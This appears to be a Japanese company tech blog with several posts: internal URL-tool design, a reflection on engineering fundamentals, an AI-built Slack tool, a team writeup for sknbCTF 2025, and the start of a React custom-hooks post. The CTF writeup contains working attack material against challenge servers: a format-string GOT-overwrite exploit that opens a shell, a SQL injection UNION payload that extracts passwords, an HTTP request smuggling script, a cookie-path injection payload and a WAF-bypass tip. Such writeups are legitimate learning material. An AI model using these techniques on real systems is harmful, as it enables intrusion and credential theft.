スプーキーズのちょっとTech。

SPOOKIES社内のより技工的な、専門的なブログページです。

社内ツールは「ちゃんと雑」でいい

背景

社内でツールを運用していると、次のようなやり取りが定期的に発生します。

  • 「そのリンク、どこから取ってきました?」

  • 「esa に貼ってあった URL、遷移できなくないですか?」

いずれも致命的な問題ではなく、業務が止まるわけでもありません。
そのため長い間、「まあ困るけど仕方ない」という扱いのまま放置されてきた類の問題です。

ツール自体は正しく動作している一方で、
URL を共有することが不安定、という状態でした。

画面や機能が増えるにつれて、

  • 条件付きパラメータを含む URL が増える

といったことが日常的に起きていました。

大きな障害ではありませんが、
違和感だけが残り続ける状態です。


「ちゃんと作るほどでもない」問題への向き合い方

この手の問題を正面から解決しようとすると、だいたい次の案に行き着きます。

  • 専用のリダイレクト API

  • 管理画面

  • ルール化された運用

実際に要件を書き出し、構成図を描き、検討もしました。

しかし整理すればするほど、コストと問題の重さが釣り合わないことが明確になります。

  • URL のパターンは多くても十数種類

  • 利用者は社内メンバーのみ

  • 権限や認可は遷移先ですでに担保されている

  • 重要なのは柔軟性より「迷わず使えること」

つまり、
解決策は軽くあるべきという性質でした。

ここで方針を切り替えました。

  • 増えたら足せる

  • 壊れにくい

  • 説明しなくていい

「きれいに作る」のではなく、
雑でいられる構成を目指すことにしました。


URL を「人が読める形」に戻す

やりたかったこと自体は非常に単純です。

  • esa や Slack に貼ったときに

  • 見ただけで用途が分かり

  • 間違えにくいこと

そのために用意したのは、次のような形式の URL です。

/共通パス/[用途]?意味のあるパラメータ

設計方針は以下の通りです。

  • [用途] でリンクの種類を明示する

  • パラメータ名は省略せず、人が読める名前にする

  • 内部で既存の複雑な URL に変換する

プロジェクト指定、メンバー指定、複数条件の集約なども、
そのまま貼っても安心できる URLとして扱えるようになりました。


AI の使い方

この仕組みを作る過程で AI も利用しましたが、
コード生成と設計の壁打ち役として使っています。

具体的には次のような点を確認しました。

  • サーバーは本当に必要か

  • 静的な構成で完結しないか

  • 設定ファイルに逃がせる部分はどこか

  • 同じ歪みを将来また生まないか

長く放置された問題は、
「前提」だけが固定されたままになっていることが多いです。

それを一つずつ疑う相手として AI を使いました。

結果として、

  • 実装は最小限

  • 設定追加で拡張可能

  • 既存運用に自然に混ざる

という形に落ち着きました。


「また増やして」と言われても破綻しないために

こうした改善で避けたいのは、
一度整えた結果、触りづらくなることです。

そのため、次の点だけは意識しました。

  • 触る場所は 1 箇所に集約する

  • 書き方に迷わない構造にする

  • 実装者以外でも触れる

完成度よりも、
雑に増やせる余白を優先しています。

社内ツールは、その方が長く生きます。


まとめ

今回の仕組み自体は目立つものではありません。

ただ、

  • esa に貼るときに迷わなくなった

  • Slack で説明文を書く頻度が減った

それだけで十分な効果がありました。

長く存在してきた不便さは、
派手に改善するよりも
考えなくていい状態に戻すことで解消されることがあります。

社内改善とは、新しいものを足すことではなく、
見て見ぬふりをしてきた違和感を片づけることなのかもしれません。

速すぎる技術の進化に疲れた私が、一周回って「基礎」に救われた話

はじめに

こんにちは、エンジニアのhiraokaです。

気がつけばもう12月。街はクリスマス一色ですが、我々エンジニア界隈はアドベントカレンダー一色ですね。

さて、いきなりですが懺悔させてください。 今年の技術トレンド、正直ぜんぜん追いきれませんでした。

毎朝起きるたびに新しいAIモデルが発表され、フロントエンド界隈では「これからは〇〇だ!いや××だ!」という議論が繰り返され…。ブラウザのブックマークには「あとで読む」つもりの技術記事が山のように積まれていますが、これらを「今年中に読む」可能性は、限りなくゼロに近いでしょう。

「置いていかれる…」という焦燥感で胃がキリキリしていた時期もありました。 でも、年の瀬に改めて振り返ってみると、ある一つの考えに達しました。

「技術が進化すればするほど、結局最後に頼れるのは『基礎』だ」 という考えです。

AIにコードを書かせて気づいた「違和感」

きっかけは、業務で生成AIを活用し始めたことでした。

確かにAIは凄いです。やりたい処理を投げれば、70、80点くらいのコードは一瞬で返してくれます。ボイラープレートを書く時間は劇的に減りました。 でも、そのコードをプロダクトに組み込んだ瞬間、予期せぬエラーが出たとします。

その時、AIは急に沈黙します。(あるいは、適当な嘘をついてループし始めます)

結局、デバッガを起動し、ログを追いかけ、原因を突き止めるのは自分自身です。そして、その時に役立った知識を思い出してみると、決して「最新フレームワークの特別な作法」ではありませんでした。

  • 「あ、これ非同期処理の順序がおかしいな」(言語仕様の基礎)

  • 「HTTPヘッダに認証トークンが乗ってないじゃん」(HTTPの基礎)

  • 「このSQL、インデックス効いてないから遅いんだ」(DBの基礎)

  • 「そもそも、問題解決のアプローチとして、このやり方は正しいのか?」(問題解決の基礎)

そう、トラブルの現場で私を救ってくれたのは、結局「何十年も変わっていない枯れた技術」やエンジニア以前の「社会人としての基礎力」だったんです。

流行り廃りの激流で「変わらないもの」を武器にする

最新のフレームワークも、便利なSaaSも、皮を剥いでみれば結局は「HTTPプロトコル」や「アルゴリズム」といった基礎の上に成り立っています。

表面のツール(How)は凄まじいスピードで変化し、陳腐化していきます。今日覚えたツールの使い方は、3年後には役に立たないかもしれません。 でも、その下にある原理原則(Why)は、10年後も、おそらく20年後も変わりません。

AI時代になって、「コードを書く」ハードルは下がりました。 その代わり、「コードの良し悪しを判断する」ハードルは上がっています。

AIが出してきたコードに対して、「動くからヨシ!」ではなく、「なぜ動くのか?」「セキュリティリスクはないか?」「パフォーマンスは最適か?」を見極める力。 その力の源泉こそが、地味で退屈に見える「基礎力」なのだと再認識しました。

来年の抱負:焦らず「深く」潜る

というわけで、来年の私のテーマは「温故知新」です。

新しい技術に飛びつくのをやめるわけではありません。でも、情報の波に溺れそうになったら、一度「地面」に足をつけようと思います。

流行りのライブラリの使い方を覚える前に、公式ドキュメントを読んでみる。

エラーが出たら、Stack Overflowの答えをコピペする前に、エラーログの英語をちゃんと読んでみる。

そうやって「基礎」という根っこを太くしていくことが、結果として、どんな激しい変化の風が吹いても倒れないエンジニアへの近道なのかもしれません。

今年も一年、お疲れ様でした。 年末年始は、難しい技術書はいったん閉じて、ゆっくり頭を休めましょう。 それでは、よいお年を!

Slackがちょっと便利になるツールをAIだけ頼って開発した話。

どうも。 AIありきの仕事に慣れすぎて、もう一年前には戻れないと感じている鈴木とまっちゃんです。

さて、この度社内ソリューションとして、ちょっと使いやすいSlackのグループ編集ツール「SlackGroupManager」をほぼAIの力だけで開発したので、その道のりをブログにします。

きっかけ

2025年3月。 AIコーディングエージェントやバイブコーディングが実用の域に達し始めた頃。 スプーキーズでも、当然AIの業務導入は話題になりました。

「見せてもらおうか、(当時)最新のAIの性能とやらを。」

ちょうど「Slackのグループ割当のUIが使いづらい」という悩みが社内の業務改善チケットの中に転がっていたので、一旦ベンチマークを兼ねてGitHub Copilotに社内ソリューションを作らせようと試みたことから話は始まります。

完成までの道のり

最初に選んだのはNext.js。 SlackAPIを叩く都合上プロキシが必要だったためです。 また、FEとBEを分ける構成にするとコード量が増えてコンテキストを消費し、仮にモノレポであっても完成できないんじゃないかと思ったことも理由の一つでした。

人間ならSlackのAPI仕様を調べて、セットアップして、コード書いて、とどうやっても一日はかかるだろうと言う仕事を、当時のGitHub Copilotくんは一時間そこらで動くものを作り出してしまったのです。 このときの感動は今でもはっきり覚えています。

が、しかし当時のAIコーディングは考慮不足も多く、社内ツールとしてイントラに載せるにしても改修が必要で、AIの力だけではデプロイにまでは辿り着けませんでした。 またお陰様で他の案件が忙しくなったのもあり、優先順位が低かったこのプロジェクトは一時的に止まってしまいます。

そして半年以上経った先月、流石にデプロイさせて一旦プロジェクトに終止符を打とうと再度動き出します。 ツールもGithubCopilotからCodexに、モデルもClaude Sonnet 3.7からGPT-5-Codexに進化。 また、最近社内でCloudflareが各所で導入されており、このソリューションもCloudflareスタックで固めようという方向性にシフト。 これにより、構成から根本的に見直され、Codexによる大改修が始まりました。

技術構成

最終的には、下のような技術構成になりました。

  • React
  • Hono
  • Slack API
  • Cloudflare Workers
  • Cloudflare Zero Trust

半年前GitHub Copilotに作ってもらった Next.js ベースのアプリを、フロントエンドとバックエンドに分離し、Workers上で動かすための構成にしました。 この作業は、Codexを使って行いました。

プロンプトはシンプルで、

このNext.jsのプロジェクトを、ReactとHonoを使用して、Cloudflare Workersでデプロイできるようにしてください

のように指示を投げて完成させました。 ただ、パッケージが古かったので、ncuを使ってパッケージの更新をして完了!

詳細な構成として、バックエンドは Hono で API ルーティングを管理し、静的アセットは Workers の Assets 機能で配信する、というかなりオーソドックスな構成です。 シンプルイズベストですね

今後どういうふうにしていきたい?

Slack APIのレートリミットが厳しく、本番の運用には耐えられないかもしれません... ということで、KVを活用したAPIのキャッシュなどに力を入れていきたいですね 💪

また、誤操作などで権限を振ってしまうと大変(!)なので、確認ダイアログなども作成して誤操作防止などにも力を入れていきたいです!

ちょっと久しぶりのCTF!sknbCTF 2025参加しました!

こんにちは!寒くなってきて体調管理が苦しい、こまさんです!!

今回はCTF部で、sknbCTF 2025に参加してきたので、その報告がてら感想・所感(Writeupも?)を書いていきます!

目次!

まずは結果から~

今回なんと6位でした!!とてもいい感じなんじゃない?!!

各問題いってみよ~!

執筆中現在、もうサーバーダウンしてしまってて問題毎のスコア取れませんでした😣

Komasan_ 855pts.

welcome (Misc)

Discordのアナウンスに書かれた。書く必要ほぼないかなw

sirokemo says (Pwn)

個人的に結構pwn問に苦手意識があって、練習したいな~と思って2ヶ月ぐらいが過ぎようとしていたんですが、zeosutt大先生に「本番で練習すりゃ大丈夫!」とも言われ今回頑張ってみました。

とてもシンプル!

ソースコードはとってもシンプル!かわいい顔文字がお出迎えしてくれて、入力をオウム返ししてくれそうですね。 あ、ちなみにchecksec結果はpartial RELRO、カナリア無し、NX有効、PIEは無効です。

とりあえずコードを見ていきますか。

パッと見BOFはなさそうです。 でも、9行目にFSBをやれと言わんばかりのprintfがありますね。

ということで、、、結構グダコードですが、、

    import time
    from pwn import *
    
    context.arch = 'amd64'
    context.os = 'linux'
    elf = ELF('chall')
    
    __libc_start_main_offset = 0x2a200
    gadget_offset = 0xef52b# execve("/bin/sh")
    
    addr_main = 0x401166
    
    with remote('34.104.150.35', 9000) as io:
        writes_dict = {elf.got['exit']: addr_main + 336}
        payload = fmtstr_payload(6, writes_dict)
    
        # payload[:-24] => b"%106c%11$lln%167c%12$hhn%47c%13$hhnaaaab"
        payload = payload[:-24-5] + b'%61$p' + payload[-24:]
    
        io.sendline(payload)
        with open('payload', 'wb') as fs:
            fs.write(payload)
            fs.write(b'\0' * (255 - len(payload)))
    
        time.sleep(0.1)
        r = io.recv()
    
        ret = r.split(b'0x')[-1]
    
        for i in range(16):
            if ret[i] not in b'0123456789abcdef':
                ret = ret[:i]
                break
            if i == 15:
                ret = ret[:16]
    
        addr = int(ret.decode(), 16) # __libc_start_main + 139
    
        addr_libc = addr - 139 - __libc_start_main_offset
        addr_system = addr_libc + gadget_offset
        print('libc base: ' + hex(addr_libc))
        print('target   : ' + hex(addr_system))
    
        writes_dict = {elf.got['printf']: addr_system}
        payload = fmtstr_payload(7, writes_dict)
    
        io.sendline(payload)
        with open('payload', 'ab') as fs:
            fs.write(payload)
    
        io.sendline(payload)
    
        time.sleep(0.1)
        print(io.recv())
    
        io.interactive()
    

まずFSBで、main()のリターンアドレスからlibcのアドレスをリークしながらexit@GOTmain()に書き換えます。

そうするとexitを実行したはずがもう一度mainに戻ってこれますね。

その後、リークしたlibcのアドレスを利用してexit@GOTを今度はone gadgetに書き換えちゃいます。

そうしたらシェルが起動するので、flagをcatして終わり!

(ここまで来るのに6時間もかかってしまった。。でもGOT Ovrewriteを覚えれたかな!👍)

kufvm (Rev)

こちらはVM問ですね。

基本的には、

  • 1024バイトのプログラムと共用のメモリがある。
  • 7つの操作ができる。
    • アドレスを2つ指定して、前者と後者の和を前者を代入
    • アドレスを2つ指定して、前者と後者のXORを前者に代入
    • アドレスを2つ指定して、前者が0なら後者のアドレスにジャンプ(プログラムカウンタを書換)
    • アドレスを1つ指定して、標準入力から1文字取得し、書込
    • アドレスを1つ指定して、標準出力に1文字書出
    • アドレスを2つ指定して、前者の値をアドレスとして、そこに後者の値を代入
    • プログラムを終了する

という具合でした。

そしてプログラムを実行すると、フラグの入力を求められるので、何かしらの文字列を入力して、それが合っていたらcorrect!、間違っていたらincorrect!と表示されて終了する、という感じ。

普通に解析して、逆算する、という感じですね。

解答コード

    # chall.bin 0x13-0x3e (inclusive)
    _c = 'ef5914ee51701017ef5dbd550feac72a0dc6b87f736b4f4dc71ead064b38951f5d1bd9e9b946bdafdde0fb31'
    
    # split each bytes and negate
    cipher = [0x100 - int(_c[i*2:i*2+2], 16) for i in range(len(_c) // 2)]
    
    message = []
    
    tmp = 49
    for i in range(43):
        mask = (tmp * (i + 1) * 2) & 0xff
    
        c = cipher[i] ^ mask
        message.append(c)
    
        tmp = c
    
    print(''.join([chr(c) for c in message]))
    

こういうRev問は素直に面白いですね。


Nemoola 205pts.

SQLAlchemist (Web)

fieldはユーザーが入力できるのでここを狙った。

session.query(User.username, extract(field, User.timestamp)).where(User.username == username).first()

デバッガをつけてORMが組み立てたSQLを調べようと思ったが、出来なかったので自分で予想して組み立てた。

SELECT username, EXTRACT(field FROM user.timestamp) 
FROM user WHERE user.username='username'

以下は結果的に出来上がったペイロードである。

YEAR FROM timestamp) FROM user WHERE 0=1 UNION SELECT username, password --

WHERE 0=1で結果を0にしてUNIONで新しい文を結合したらpasswordを取得できる。 取得したpasswordを使ってadminにログインしてflagをゲットできる。


huzuni 842pts.

久しぶりにCTF参加しました!

今回はほぼRevしかやってないですが、問題も面白い内容で解いてて楽しかったです〜 その中でも特にお気に入りのやつのwriteupを中心に書いていきます!

one_to_two (Rev)

最初の方はこれが一番左に出てたので、一番簡単かと思いきや、、、

ゴリゴリのVM問題。 😱

Cで作られたVMのディスパッチャーと、VMコードの本体(上のやつ)が与えられます。

色々いじっていると、文字入力->フラグの何番目と比較->一致してたらループという挙動をしていることがわかりました。

というわけで、ゴリ押しpython自前ディスパッチャーで総当たりしました。

ソルバー

    import sys
    import string
    
    with open('program.txt', "r", encoding="utf-8") as f:
        data = []
        for line in f:
            s = line.rstrip('\n')
            data.append(s)
    
    def run(input) -> int:
        lines = len(data)
        stack = [0] * 256
        ip = 0        
        line_idx = 0  
        sp = 0        
        in_count = 0
        while True:
            if line_idx < 0:
                return 0
            if line_idx >= lines:
                return 0
            if ip < 0:
                return 0
            current_line = data[line_idx]
            if ip >= len(current_line):
                return 0
            instruction = ord(current_line[ip])
            if instruction == 0x2E:  # '.'
                return in_count
            if instruction == 0x2194:
                if stack[sp] != 0:
                    ip -= 1
                else:
                    ip += 1
                continue
            if instruction == 0x2195:
                if stack[sp] != 0:
                    line_idx -= 1
                else:
                    line_idx += 1
                continue
            if instruction == 0x219E:
                sp -= 1
                ip -= 1
                if sp < 0:
                    print("stack underflow", file=sys.stderr)
                    return 1
                continue
            if instruction == 0x219F:
                stack[sp] += 1
                line_idx -= 1
                continue
            if instruction == 0x21A0:
                sp += 1
                ip += 1
                if sp <= 255:
                    continue
                print("stack overflow", file=sys.stderr)
                return 1
            if instruction == 0x21A1:
                stack[sp] -= 1
                line_idx += 1
                continue
            if instruction == 0x21D1:
                ch = (input + '00000')[in_count]
                in_count += 1        
                if ch == "" or ch == "\n":
                    val = 255
                else:
                    val = ord(ch[0])
                stack[sp] = val
                line_idx -= 1
                continue
            if instruction == 0x21D3:
                line_idx += 1
                continue
            if instruction == 0x21E0:
                ip -= 1
                continue
            if instruction == 0x21E1:
                line_idx -= 1
                continue
            if instruction == 0x21E2:
                ip += 1
                continue
            if instruction == 0x21E3:
                line_idx += 1
                continue
            print("Invalid inst")
            return in_count
    
    flag = 'sknb{'
    candidates = string.ascii_letters + string.punctuation + string.digits
    while True:
        a = {}
        for i in candidates:
            temp_flag = flag + i
            result = run(temp_flag)
            a[i] = result
        max_key = max(a, key=a.get)
        flag += max_key
        print(flag)
    

多分想定解ではないけど、こういうのもたまにはアリだよね 🧐

次は、ちゃんとやります。

Fubukkit (Rev)

マイクラ問だ! そして、jd-guiがデコンパイルを拒否する!

仕方がないので、Recafを使って中身を見ます

すごい量のコードがお出迎えしてくれました。 でもちょっと調べると、そんなに複雑なことはしてなくて、 フラグのバイト数番目_フラグの上位/下位2ビット のようなフォーマットで構成されたchainみたいな感じになってます

v0_7をgrantするにはrootが必要で、 v1_3をgrantするにはv0_7が必要で、、、

という風に続いているわけです

root
└── v0_7
      └── v1_3
            └── v2_6
                  └── v3_11
                        └── v4_6
                              └── v5_…

それがわかればデコンパイルした結果から自動で解析してくれるコードを作ってあげた方が速そうですね。

ソルバー

    import dataclasses
    import re
    
    @dataclasses.dataclass
    class AdvamcementKey:
        index: int
        value: int
    
    @dataclasses.dataclass
    class Advancement:
        key: AdvamcementKey
        requirements: AdvamcementKey
    
    with open('advancements.txt', 'r', encoding='utf-8') as file:
        advancementLines = [line.strip() for line in file if line.strip()]
        advancements: list[Advancement] = []
        for advLine in advancementLines:
            # Parse advancement key
            result = re.search(r'"(\d{1,2})_(\d{1,2})"', advLine)
            if not result:
                print(f"Failed to parse advancement: {advLine}")
                break
            index, value = map(int, result.groups())
            adv_key = AdvamcementKey(index=index, value=value)
            # Find requirements
            result_req = re.search(r'\(Advancement\)v(\d{1,2})_(\d{1,2})', advLine)
            requirements: AdvamcementKey | None = None
            if result_req:
                req_index, req_value = map(int, result_req.groups())
                requirements = AdvamcementKey(index=req_index, value=req_value)
            
            advancement = Advancement(key=adv_key, requirements=requirements)
            advancements.append(advancement)
        advancements.append(Advancement(None, AdvamcementKey(index=43, value=13))) # Goal advancement
        # Solve
        decoded = []
        solved = {}
        for adv in advancements:
            if not adv.requirements:
                continue
            if adv.requirements.index <= len(decoded) - 1: 
                continue
            decoded.append(adv.requirements.value)
        decoded_packed = []
        for i in range(0, len(decoded), 2):        
            byte = (decoded[i] << 4) | decoded[i + 1]
            decoded_packed.append(byte)
        for byte in decoded_packed:
            print(chr(byte), end='')
    

GIF-Zipper (Rev)

画像が、CSV風のファイルに変換されて、それを元に戻すやつです。

一個注意点として、最後のピクセルの情報が残っていないので、そこだけ考慮してあげる必要があります。 ただ、今回はほとんど画像にも影響はないです

コードだけ貼っておきます〜

    from PIL import Image
    
    def decode_pixel_block(s):
        n = len(s)
        for r_len in [1,2,3]:
            for g_len in [2,3]:
                b_len = n - r_len - g_len
                if b_len < 2 or b_len > 3:
                    continue
                r = int(s[:r_len])
                g = int(s[r_len:r_len+g_len]) - 16
                b = int(s[r_len+g_len:]) - 8
                if 0 <= r <= 255 and 0 <= g <= 255 and 0 <= b <= 255:
                    return (r,g,b)
        return (0,0,0)
    
    def csv_to_image(path, output):
        with open(path,'r') as f:
            raw = f.read()
    
        raw = raw.replace(" ","")
        parts = [p for p in raw.split(",") if p!=""]
    
        width = int(parts[0])
        height = int(parts[1])
    
        blocks = parts[2:]
    
        print("width:", width)
        print("height:", height)
        print("blocks:", len(blocks))
    
        img = Image.new("RGB",(width,height))
        px = img.load()
    
        for idx, s in enumerate(blocks):
            y = idx // width
            x = idx % width
            px[x,y] = decode_pixel_block(s)
    
        img.save(output)
    
    csv_to_image("flag.gifzip","output.png")
    

風が吹けば桶屋が儲かる (Rev)

中身を開けると大量のclassファイル!!!!!

その中には似た構造のコードたち!

Chal0001.java

    import java.io.IOException;
    import java.util.Arrays;
    
    public class Chal0000 {
        private static final byte[] enc = new byte[]{65, 11, -48, 103, 77, 19, -80, -1};
    
        public static void main(String[] stringArray) throws IOException {
            int n;
            System.out.print("msg:");
            byte[] byArray = System.in.readNBytes(8);
            int[] nArray = new int[]{120, 187, 228, 254, 207, 89, 242, 108};
            for (n = 0; n < 8; ++n) {
                int n2 = n;
                byArray[n2] = (byte)(byArray[n2] ^ (byte)(nArray[n] >> 3 | nArray[n] << 5));
            }
            for (n = 0; n < 8; ++n) {
                int n3 = n;
                byArray[n3] = (byte)(byArray[n3] + (byte)nArray[(n + 1) % 8]);
            }
            if (Arrays.equals(enc, byArray)) {
                System.out.println("Correct");
            } else {
                System.out.println("Incorrect");
            }
        }
    }
    

最初の部分をChatGPTに復号させると、PNGの最初の部分のシグネイチャと一致することがわかりました。

というわけで、この何千に及ぶファイルをデコンパイルして、復号して、、 なんてやってられないので、CFRを使って、全部デコンパイルさせます

あとは、デコンパイルしてくれたやつをregex地獄で復号します

ソルバー

    import os
    import re
    import dataclasses
    
    @dataclasses.dataclass
    class EncryptedBlockData:
        n: list[int]
        enc: list[int]
        rot: int
        offset: int
    
    def rot_expr(x: int, a: int) -> int:
        x &= 0xFF
        return ((x >> a) | (x << (8 - a))) & 0xFF
    
    def decrypt_msg(block: EncryptedBlockData) -> bytearray:
        out = []
        for i in range(8):
            y = block.enc[i] & 0xFF
            y = (y - (block.n[(i + block.offset) % 8] & 0xFF)) & 0xFF
            y ^= rot_expr(block.n[i], block.rot)
            out.append(y)
        return bytes(out)
    
    def parse_block(decompiled_code: str) -> EncryptedBlockData:
        enc = re.search(r'byte\[\] enc = new byte\[\]\{([-\d, ]+)};', decompiled_code).group(1)
        enc = list(map(lambda x: int(x.strip()), enc.split(',')))
        n = re.search(r'int\[\] nArray = new int\[\]\{([-\d, ]+)};', decompiled_code).group(1)
        n = list(map(lambda x: int(x.strip()), n.split(',')))
        rot = re.search(r'\(byte\)\(nArray\[n\] >> (\d)', decompiled_code).group(1)
        rot = int(rot)
        offset = re.search(r'\(byte\)nArray\[\(n \+ (\d)\)', decompiled_code).group(1)
        offset = int(offset)
        return EncryptedBlockData(n=n, enc=enc, rot=rot, offset=offset)
    
    result = bytearray()
    for root, dirs, files in os.walk('./decompiled'):
        for file in files:
            path = os.path.join(root, file)
            with open(path, 'r', encoding='utf-8') as f:
                code = f.read()
            block_data = parse_block(code)
            decrypted = decrypt_msg(block_data)
            result.extend(decrypted)
    
    with open(file='decrypted.png', mode='wb+') as out:
        out.write(result)
    

ありがとう、cfr

Auth Delegation (Web)

フォームデータじゃなくて、クエリパラメーターを使うとWAFに引っかかりません 😄


zeosutt 1274pts.

zeosutt大先生はspookiesを卒業してしまったので、私こまさんが勝手にありがとうを綴りますw

名誉部長として基本的には私たちの解きたい問題を譲ってくれつつ、ギブアップした問題をシバいてくれる、みたいな最強の人になってます。

とても心強い!!そして少しでも頑張って追いつきたい!!

今回も、私が解いたkufvmと全く同じファイル群で更にpwn(shell奪取)しろ、という問題のkufvm-pwnを破壊してくれました🔥🔥🔥🔥 強すぎる、、、

Writeupは問題を把握できてないのでご愛嬌で~。

printgolf (Misc)

PIN Authenticator (Misc)

PIN Authenticator revenge (Misc)

DB Mirage (Misc)

Parse Parse Parse (Web)

kufvm-pwn (Pwn)


flathill404 789pts.

お久しぶりのCTFでした。最近もっぱらGeminiと公私共にどっぷりなので、Geminiくんと共に挑みました。 AI使うと、特に、ソース公開されているタイプの問題は5倍ぐらい早く解けますね。 何時間も仮説検証を繰り返し、最終的にフラグGETして脳汁ドパーするのが私なりのCTFの楽しみだったのですが、AIはその楽しみを奪ってくるなと思いました(←じゃあ使うな)。 まあ、今回は久しぶりのCTFということもあって、CTF x AIで楽しくなれるのか検証するいい機会だったなあと。

Your name (Web)

Nginx + Node.js構成におけるHTTP Request Smuggling、といったところでしょうか。 フロントエンドにNginx、バックエンドにNode.jsというモダンな構成で、どのように「解釈のズレ」が生じるのかが、注目ポイントです。

Nginxの設定 (nginx.conf) Nginxはリクエストをバックエンド(app:8080)に流す際、必ず X-From-Proxy: true というヘッダーを付与します。

location / {
    proxy_pass http://app:8080;
    proxy_http_version 1.1;
    proxy_set_header Connection "";
    proxy_set_header X-From-Proxy true; # ここで強制付与
}

バックエンドのロジック (server.js) フラグが得られる /flag エンドポイントには、以下のアクセス制御があります。

case '/flag':
  if (!req.headers['x-from-proxy']) {
    res.end(FLAG);
  } else {
    res.writeHead(403, { 'Content-Type': 'text/plain' });
    res.end('Forbidden');
  }
  return;

「Nginxを経由すると X-From-Proxy が付くため拒否される」 が、「Nginxを経由しないとそもそもアクセスできない(外部公開ポートはNginxのみ)」 というジレンマがありますね。

最大のヒントは Dockerfile にありました 。

CMD ["node", "--insecure-http-parser", "server.js"]

Node.jsが --insecure-http-parser オプション付きで起動されています 。これは、RFCに厳密に従わない不正な形式のHTTPヘッダーも許容してパースするという設定です。

これにより、HTTP Request Smuggling (CL.TE) が成立する条件が整いました。

Nginx (Frontend): 厳格。不正な Transfer-Encoding ヘッダーを無視し、Content-Length を信頼する。

Node.js (Backend): 寛容。不正な Transfer-Encoding ヘッダーを有効と見なし、Content-Length を無視する。

この「解釈の不一致」を利用して、1つのHTTPリクエストの中に「2つ目のリクエスト」を密輸(Smuggle)します。

Nginxを騙してリクエスト全体を通過させつつ、Node.jsには途中でリクエストが終わったと誤認させます。

POST / HTTP/1.1
Host: target.com
Content-Length: [全体の長さ]
Transfer-Encoding : chunked  <-- ここが重要!

0

GET /flag HTTP/1.1
Host: target.com
...

Transfer-Encoding のコロンの前にスペースを入れることで、Nginxはこのヘッダーを無視しますが、--insecure-http-parser 環境下のNode.jsはこれを有効と解釈します 。

Node.jsは 0 (チャンク終了) を読み取った時点で処理を切り上げ、残りのデータ(GET /flag...)を 「次の新しいリクエスト」 として処理し始めます。この「密輸された2つ目のリクエスト」には、Nginxが付与するはずの X-From-Proxy が存在しません。これで認証回避が可能になります。

この方針で最終フラグGETできたスクリプトは以下になります。(コアのところだけ掲載)

# CL.TE Desync Payload
    header = (
        b"POST / HTTP/1.1\r\n" +
        f"Host: {target_host}:{target_port}\r\n".encode() +
        b"Content-Type: application/x-www-form-urlencoded\r\n" +
        b"Content-Length: " + str(len(payload_body)).encode() + b"\r\n" +
        b"Transfer-Encoding : chunked\r\n" + # Nginxは無視、Nodeは解釈
        b"\r\n"
    )
    # ... (中略: ソケット送信処理) ...

    # データ受信ループ
    received_buffer = b""
    # まず通常の受信を試みる
    try:
        data = s.recv(4096)
        received_buffer += data
        if b"sknb{" in received_buffer:
            print("Flag found in first batch!")
    except: pass
    
    # フラグがなければ追い出し用リクエストを送信
    if b"sknb{" not in received_buffer:
        s.sendall(dummy_request) # Flush!
        
    # 続きを受信...

ghost (Web)

ターゲットは、ユーザーが入力した任意の文字列を document.cookie にセットしてくれるPuppeteer製のBotです。しかし、そこには以下の厳格な検証ロジックが存在しました。

const whitelist = /^[a-zA-Z0-9=;\/]+$/
const cookies = cookie.split(";");
for (const pair of cookies) {
    if (!whitelist.test(pair)) {
        return "invalid cookie detected"; // ホワイトリスト違反
    }
    if (pair.startsWith("flag=")) {
        return "invalid cookie detected"; // ブラックリスト違反
    }
}
// 検査を通過すればセットされる
await page.evaluate(c => document.cookie = c, cookie);

サーバー側の判定ロジック 最終的にリクエストを受け取るサーバー(Express)は、以下のようにフラグを返します。

// Cookieヘッダーを ; で分割し、完全一致でチェック
for (const cookie of cookieHeader.split(";")) {
    if (cookie === "flag=true") { // ここを通したい!
        res.send(process.env.GZCTF_FLAG);
        return;
    }
}

つまり、Cookie: flag=true というヘッダーを送信させることがゴールですが、Bot側では flag= の入力を拒否される、という状況です。

最初に考えたのは、既存の flag=false をどうやって上書き、あるいは無効化するかです。 通常であれば flag=true を送りたいところですが、ブラックリストに阻まれます。

そこで目をつけたのが、ホワイトリストに含まれている /(スラッシュ)と、HTTP Cookieの仕様である Path属性 です。

RFC 6265には「同じ名前のCookieがある場合、Path属性がより長く、リクエストURLに具体的にマッチするものが優先される(先に送信される)」というルールがあります。

Botが元々持っているCookie: Path=/

Botのリクエスト先: /flag

これを利用し、以下のようなペイロードを考えました。

flag;Path=/flag

これにより、「値が空」で「Pathが /flag」のCookieが生成されます。 Path=/flag (5文字) は Path=/ (1文字) より具体的であるため、ブラウザは注入したCookieを優先してヘッダーの先頭に配置します。

結果として、順番を入れ替えることには成功しました! しかし、これではサーバー側のチェック cookie === "flag=true" を通過できません。値が空(flagのみ)だからです。

次にぶつかった壁は、「flag= で始めてはいけないが、サーバーには flag=true という文字列を送らなければならない」という矛盾です。

そこで、思いついたのが「Cookieのキー名を空にする」というテクニックです。

ブラウザで document.cookie = "=value" のように、先頭を = にすると、キー名が空のCookieとして扱われます。そして重要なのが、Chrome (Puppeteer) など多くのブラウザは、これをヘッダーとして送信する際、キー名を省略して値部分だけを送る(あるいは意図した文字列になる)挙動を示します。

これを利用した最終的なペイロードがこちらです。

=flag=true;Path=/flag

これにてdoneです。最終的なbotのリクエストヘッダーは以下のようになります。

Cookie: flag=true; flag=false

カスタムフックを使いながら、バーチャル背景生成ツールを開発した話

🦓 < こんにちは!

先日、完全なReact初心者が社内用の「バーチャル背景生成ツール」を開発・デプロイしました!

説明するより、みてもらったほうが早いと思うので、完成したものの動画を貼っておきます 👇

シンプルなツールですが、作る過程でさまざまな学びがあり、その中でもカスタムフックについて残そうと思います!

是非読んでいってくれると嬉しいです 🙇‍♂️

使用技術と構成

先にさっと、使用技術の詳細と構成を書きます

  • React Router
  • Chakra UI
  • Vite

ファイル構成

packages/client/src
├─ assets/        — 画像・フォントなど
├─ components/    — 共通Reactコンポーネント
├─ constants/     — 各種定数
├─ hooks/         — カスタムフック
├─ pages/         — 画面コンポーネント
├─ test/          — テスト類
├─ types/         — 型定義
├─ app.tsx        — ルートApp
├─ main.tsx       — DOMエントリ
├─ router.tsx     — ルーティング設定
└─ vite-env.d.ts  — Vite型宣言

ViewとControllerを分ける??

自分で実装してみたり、Copilotくんに頼ったりしながら実装してました。

しかしいざレビューをしてもらう時に、

「見た目のコンポーネントにコントローラー相当の実装を詰め込まない方がいい!」

と言われました。

一体どういうことだ...? となりつつも、教えてもらいました!!

React は厳密な MVC ではないものの、「UI(View)に寄せた部分」と「ロジック(Controller 的な振る舞い)」を意識的に切り分けると読みやすくなるケースが多いとのこと。

